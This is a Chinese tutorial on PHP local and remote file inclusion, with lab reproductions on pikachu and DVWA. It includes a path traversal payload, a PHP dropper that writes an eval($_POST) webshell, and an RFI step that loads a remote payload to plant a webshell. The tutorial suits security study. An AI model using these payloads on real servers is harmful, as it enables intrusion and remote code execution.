淺談檔案包含漏洞及靶場復現
淺談檔案包含漏洞(附:靶場復現)
1. 概述
程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時候直接呼叫此檔案,而無須再次編寫,這種呼叫檔案的過程稱為包含。
程式設計師為了使程式碼更加靈活,經常將被包含的檔案設定為變數,用來進行動態呼叫,但正是由於這種靈活性,從而導致客戶端可以呼叫一個惡意檔案,造成檔案包含漏洞。
檔案包含漏洞分為本地包含(LFI)和遠端包含(RFI)。檔案包含漏洞在 PHP Web Application中居多,在JSP ASP程式中偏少。
PHP中共有四個檔案包含的函式,分別為include()、include_once()、require()、require_once()。這四個函式都有包含的功能,但作用有一定的差異:
- require 找不到被包含的檔案時會產生致命錯誤(E_COMPILE_ERROR),並停止指令碼;
- include 找不到被包含的檔案時只會產生警告(E_WARNING),指令碼將會繼續執行;
- include_once 與include()類似,唯一的區別是如果該檔案中的程式碼已經被包含,則不會再次包含;
- require_once 該函式和require()類似,區別在於若該檔案中的程式碼已經被包含,則不會再次包含。
2. 漏洞產生原因分析
建立一個include函式
<?php include $_GET['test']; ?>
再建立一個phpinfo.php檔案
<?php phpinfo(); ?>
構造url執行include函式來開啟phpinfo頁面
此外將phpinfo的字尾名改成 .jpg .txt 等都可以解析出來。可見只要檔案內包含PHP程式碼,include函式都可以解析出來,這也是上傳圖片馬可以解析程式碼並獲取shell的原因。
3. 本地包含漏洞(LFI)
只能夠對伺服器本地的檔案進行包含。本地檔案包含漏洞所包含的各類情況如下:
- 可以包含本地檔案,在條件允許時可執行程式碼
- 執行上傳的圖片馬,生成webshell。
- 讀取敏感檔案,如系統配置檔案以及PHP檔案等。
- 包含data:或php://input等偽協議
- 若有phpinfo則可以包含臨時檔案
- 包含日誌檔案GetShell
- 包含/proc/self/envion檔案GetShell
3.1 靶場復現
3.1.1 以pikachu靶場的本地包含漏洞為例
選擇查詢的內容艾弗森,檢視當前頁面的原始碼會發現filename為變數,可實現檔案包含。
<div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="fileinclude.php">file include</a> </li> <li class="active">本地檔案包含</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再點一下關閉)" data-content="先了解一下include()函式的用法吧"> 點一下提示~ </a> </div> <div class="page-content"> <div id=fi_main> <p class="fi_title">which NBA player do you like?</p> <form method="get"> <select name="filename"> <option value="">--------------</option> <option value="file1.php">Kobe bryant</option> <option value="file2.php">Allen Iverson</option> <option value="file3.php">Kevin Durant</option> <option value="file4.php">Tracy McGrady</option> <option value="file5.php">Ray Allen</option> </select> <input class="sub" type="submit" name="submit" /> </form> <img class=player src="include/ai.png" /> <p class=nabname> Allen Iverson (Allen Iverson), was born on June 7, 1975 in the United States in Hampton, Virginia, a former American professional basketball player, the secretary defender (double can guard), 11 times in NBA all-star squad, a former U.S. dream team captain.Over the years, do you remember his pace of the cross? </p> </div>
重新查詢並抓包,將file2.php 修改為../../../../windows/system.ini ,然後放包。
通過檔案包含漏洞可以讀取到系統的敏感資訊。
3.3.2 以DVWA靶場為例
當一時沒發現系統檔案上傳漏洞或者檔案上傳格式有嚴格限制時,可以上傳一張圖片馬到伺服器,再利用檔案包含漏洞進行解析。
製作圖片馬
<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[xiaoxu]) ?>;'); ?>
在DVWA的low等級中的檔案上傳漏洞處,上傳ceshi.jpg圖片馬。(注意檢視上傳處的原始碼,裡面限制圖片不能大於100000B)
記住路徑 ../../hackable/uploads/ceshi.jpg ,然後開啟DVWA中的檔案包含漏洞。
構造URL ?page=../../hackable/uploads/ceshi.jpg 在當前檔案包含的漏洞環境下執行,然後會跳轉到 \phpStudy\WWW\DVWA\hackable\uploads 下呼叫ceshi.jpg檔案並解析執行其中的PHP程式碼。執行成功後會在fi資料夾下生成shell.php的一句話木馬。
用蟻劍連結 http://192.168.43.223/DVWA/vulnerabilities/fi/shell.php 獲取webshell如下。
4 遠端檔案包含(RFI)
當php.ini中allow_url_fopen和allow_url_include為On時,檔案包含函式是可以載入遠端檔案的,這類漏洞被稱為遠端檔案包含漏洞。
4.1 靶場復現
首先開啟allow_url_fopen和allow_url_include。
編寫一句話木馬,由於有包含限制,將檔案字尾改成 .txt放入 :\phpStudy\WWW\pikach\ceshi.txt
<?php $myfile = fopen("webshell.php", "w"); $txt = '<?php @eval($_POST["xiaoxu"]);?>'; fwrite($myfile, $txt); fclose($myfile); ?>
提交查詢並抓包
將filename後面的值改為 http://192.168.43.223/pikachu/ceshi.txt 然後放包,呼叫成功。
到:phpStudy\WWW\pikachu\vul\fileinclude路徑下發現成功生成webshell.php檔案。
5.修復方法
- 使用str_replace等方法過濾掉危險字元
- 配置open_basedir,防止目錄遍歷
- php版本升級,防止%00截斷
- 對於動態包含的檔案可以設定一個白名單,不讀取非白名單的檔案
- 做好管理員許可權劃分,做好檔案的許可權管理